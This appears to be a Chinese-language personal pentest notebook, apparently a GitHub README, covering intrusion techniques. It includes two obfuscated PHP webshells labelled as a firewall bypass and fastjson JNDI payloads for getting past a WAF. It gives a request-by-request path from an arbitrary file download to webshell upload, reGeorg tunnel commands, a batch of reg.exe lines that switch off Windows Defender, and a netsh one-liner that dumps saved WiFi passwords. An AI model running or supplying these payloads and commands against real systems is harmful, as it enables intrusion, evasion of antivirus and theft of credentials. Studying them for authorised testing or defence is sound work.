ifishzz / PentestNote

个人输出,经验/思路/想法/总结/. . .

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

导航

隐藏资产探测-host碰撞

step1: 搜集子域名

step2: 搜集IP (目标域名历史解析IP)

step3: 以IP+域名的形式进行碰撞

传送:

https://github.com/fofapro/Hosts_scan 
https://github.com/shmilylty/OneForAll  
https://fofa.so/
https://site.ip138.com/
https://ipchaxun.com/
https://securitytrails.com/list/apex_domain/  # 子域名

参考:

https://www.cnblogs.com/Rain99-/p/13756032.html
https://xz.aliyun.com/t/9590

"登录框" 攻击面

  • 用户名枚举
  • 空口令
  • 弱口令
  • 登录认证绕过
  • 暴力破解
  • 图形验证码绕过
  • 短信验证码绕过(或爆破)
  • 短信轰炸(重放)
  • 邮箱轰炸(重放)
  • 密码明文传输
  • SQL注入(万能密码)
  • 任意用户密码重置
  • 目录遍历
  • 敏感信息泄露
  • 框架漏洞(shiro)
  • XSS
  • JS文件

宝塔防火墙 Bypass

  • 传参方式 $_COOKIE
  • 编码绕过流量检测

3重 base64 失败(似乎检测了关键字‘base64’) image

3重 url编码 成功

image

贴两个🐎(侵删)

demo1:

<?php
$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;
?>

demo2:

<?php
$poc ="axsxsxexrxt";
$poc_1 = explode("x", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];
$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));
?>

fastjson bypass 某WAF

demo

{{"@type":"java.net.URL","val":"http://.dnslog.cn"}:0

image

bypass

{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}

内网渗透-代理(reGeorg+Proxifier+Win)

# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html

上传对应的tunnel文件,如图即可

image

然后attack-pc 执行

python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 8888

proxifier配置代理如下

  • 127.0.0.1:8888
  • socks5

内网渗透-代理(reGeorg+proxychains+Linux)

# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html

上传对应的tunnel文件,如图即可

image

然后attack-pc 执行

python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 4561

proxychains配置如下:

  • vim /etc/proxychains.conf

image

demo: 使用proxychains代理远程登录windows

proxychains rdesktop -g 1440x900 172.17.17.7:3389 //-g后面代表要使用的分辨率

内网渗透-代理(ssocks反向代理)

https://sourceforge.net/projects/ssocks/

参考: https://apt404.github.io/2016/09/12/ssocks/

Druid未授权访问->RCE

  • 目录扫描 /druid/index.html
  • 信息泄露 Session & URI(后台)
  • 伪造session进入后台,发现上传点
POST /index HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 0
Origin: 
Referer: 
Cookie: JSESSIONID=589A43F0FAxxxxxx2A4403C143A77A51
  • 绕过前端js验证实现任意文件上传

任意文件下载->RCE

  • 发现1处文件下载的地方
GET /download?module=&method=Download&name=test.zip&filepath=doc/test.zip HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
  • burp抓包,换为post请求发现可下载任意文件
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=../webapps/WEB-INF/web.xml
  • 读取日志文件判断class文件的位置
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=../logs/catalina.2021-xx-xx.log
  • 下载class文件分析审计,在/download路由下的servlet存在上传文件和更新文件的操作

    • 首先上传一个空文件到web目录
    POST /download HTTP/1.1
    Host: 1.1.1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
    Accept: text/html,application/xhtml+xml,application/xml
    Accept-Encoding: gzip, deflate
    
    module=&method=upload&txtFile_Name=x.jsp&home=/&filepath=../webapps/
    
    • 更新文件内容为webshell
    POST /download HTTP/1.1
    Host: 1.1.1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
    Accept: text/html,application/xhtml+xml,application/xml
    Accept-Encoding: gzip, deflate
    
    module=&method=updateContent&home=/&filepath=../webapps/x.jsp&content=xxxxxx
    
  • 成功突破网络边界进入内网

pocsuite3代理食用

命令行:

python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks5://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks4://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy http://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy https://1.2.3.4:5678

proxier:

image

子域名爆破-泛解析问题

0.泛解析

原理:
利用通配符(*)将所有某个级别的域名解析到同一个IP地址上。

举例:
现有域名github.com, 设置泛解析后,所有该域名下的子域aaa.github.com,bbb.aaa.github.com都会被解析到和github.com相同的ip地址。

1.OneForAll:

访问一个随机的并不存在的域,通过返回结果判断是否存在泛解析,若存在泛解析,程序会不断的循环产生随机域名向服务器查询,将每次查询到的IP和TTL记录下来,直到大部分的IP地址出现次数都大于两次,则IP黑名单的收集结束,在得到了IP黑名单以后,将自己的字典中的每一项和要指定查询的域名进行拼接爆破,然后根据IP黑名单进行过滤。

2.SubdomainBrute

超过10个域名指向同一IP,则此后发现的其他指向该IP的域名将被丢弃。

3.目前思路-TTL黑名单

在权威 DNS 中,泛解析记录的 TTL 肯定是相同的,如果子域名记录相同,但 TTL 不同,那这条记录可以说肯定不是泛解析记录。

参考:http://sh3ll.me/

SQL注入攻击面

  • 万能密码
  • 敏感信息 邮箱/电话等 -> 供社工钓鱼使用
  • 凭证 session/密码等 -> 外网系统入口(OA/邮箱/VPN)
  • RCE
    • mssql xp_cmdshell
    • mysql udf
  • Webshell
    • mysql
    • mssql
    • oracle
  • SSRF
    • mssql
    • oracle
  • 端口扫描
    • oracle
  • 凭据(NTLM Hash)
    • Windows & UNC

文件删除攻击面

  • 删除install.lock导致重装,进而RCE
    • /sys/install.lock VAuditDemo
  • 删除某些配置文件导致重装,进而RCE
    • my.php 然之协同
  • 删除权限校验文件,组合受限漏洞(文件上传/SQLi注入等),进而RCE
    • /inc/auth.inc.php 通达OA
  • 删除账号密码配置文件,导致账号密码重新配置,进而获得管理员权限
    • /WEB-INF/resources/privilege.xml 帆软报表系统(FineReport)

Java SSRF攻击面

  • 利用file协议任意文件读取
  • 利用http协议端口/服务探测
  • 利用http协议进行 ntlm relay
  • 组合redis等内网服务从而rce(weblogic)

黑盒-漏洞挖掘(弱口令->任意文件下载->RCE)

  • Tip: fofa随缘,独立ip 1000+即可 image

step1

  • 搜索产品的安装手册/用户手册(弱口令,影子账户等)
  • 发现通用弱口令-admin/admin image

step2

  • 登录后台并测试功能点,burp抓取流量
  • 发现参数:?xmlPath=
    • 构造payload
    .action?xmlPath=../../conf/tomcat-users.xml
    .action?xmlPath=../../webapps/examples/WEB-INF/web.xml
    
  • 经测试存在任意文件读取漏洞 image

step3

  • 回溯burp的代理流量
  • cookie发现参数:rememberMe
  • 尝试组合任意文件读取进行漏洞利用
    • web.xml -> shiro.ini(失败)
    • tomcat-users.xml -> 控制台利用思路(失败)
  • 最后还是作为脚本小子的快乐:) image

ThinkPHP 5.0.X(Debug模式+空数组)

  • 若目标启用了 debug 模式,敏感功能点传递空数组可能会引起程序抛出异常泄露敏感信息 by xxxeyJ
POST /index/login HTTP/1.1
User-Agent: 
Accept: 
Accept-Encoding: 
Content-Type: 

username=admin&password[]=&verifycode=

内网-CMD获取RDP端口

Terminal下执行

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

响应

PortNumber REG_DWORD 0xd3d

image

进制转换得到

image

内网-规避杀软 Windows Defender

# Defensive Evasion
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v MpEnablePus /t REG_DWORD /d 0 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
reg.exe     delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

打点-文件下载/信息收集 mlocate.db

mlocate.db是linux下的一个数据库文件,用于存放locate命令的索引,也就是相当于存放了所有文件的路径。

文件位置

/var/lib/mlocate/mlocate.db

与之对应的命令 — locate

在拿到目标权限后做信息收集还是蛮不错的

locate web.xml

image

内网-CMD获取WIFI密码

— by chengmo

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear 

11111

内网-DMZ区突破

本质:找到能通向内网的主机

  • 双网卡主机
  • 历史登录IP:可能来自内网的运维
  • 站库分离:数据库服务器很可能在内网
  • VPN:信息收集
  • 钓鱼:钓鱼上线的机子大概率是在办公网)

内网-PowerShell命令历史记录

— 类似Linux下的.bash_history

文件位置

%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

image

利用思路

  • 打点: 任意文件下载+Windows系统,可以尝试一下该路径,也许有新世界
  • 内网: 信息收集
  • 蓝队: 溯源取证时,毕竟CMD一直以来都被诟病,PowerShell改改颜值还是很能打的,但是也就悄悄地给蓝队留下了"证据"(:

image

About

个人输出,经验/思路/想法/总结/. . .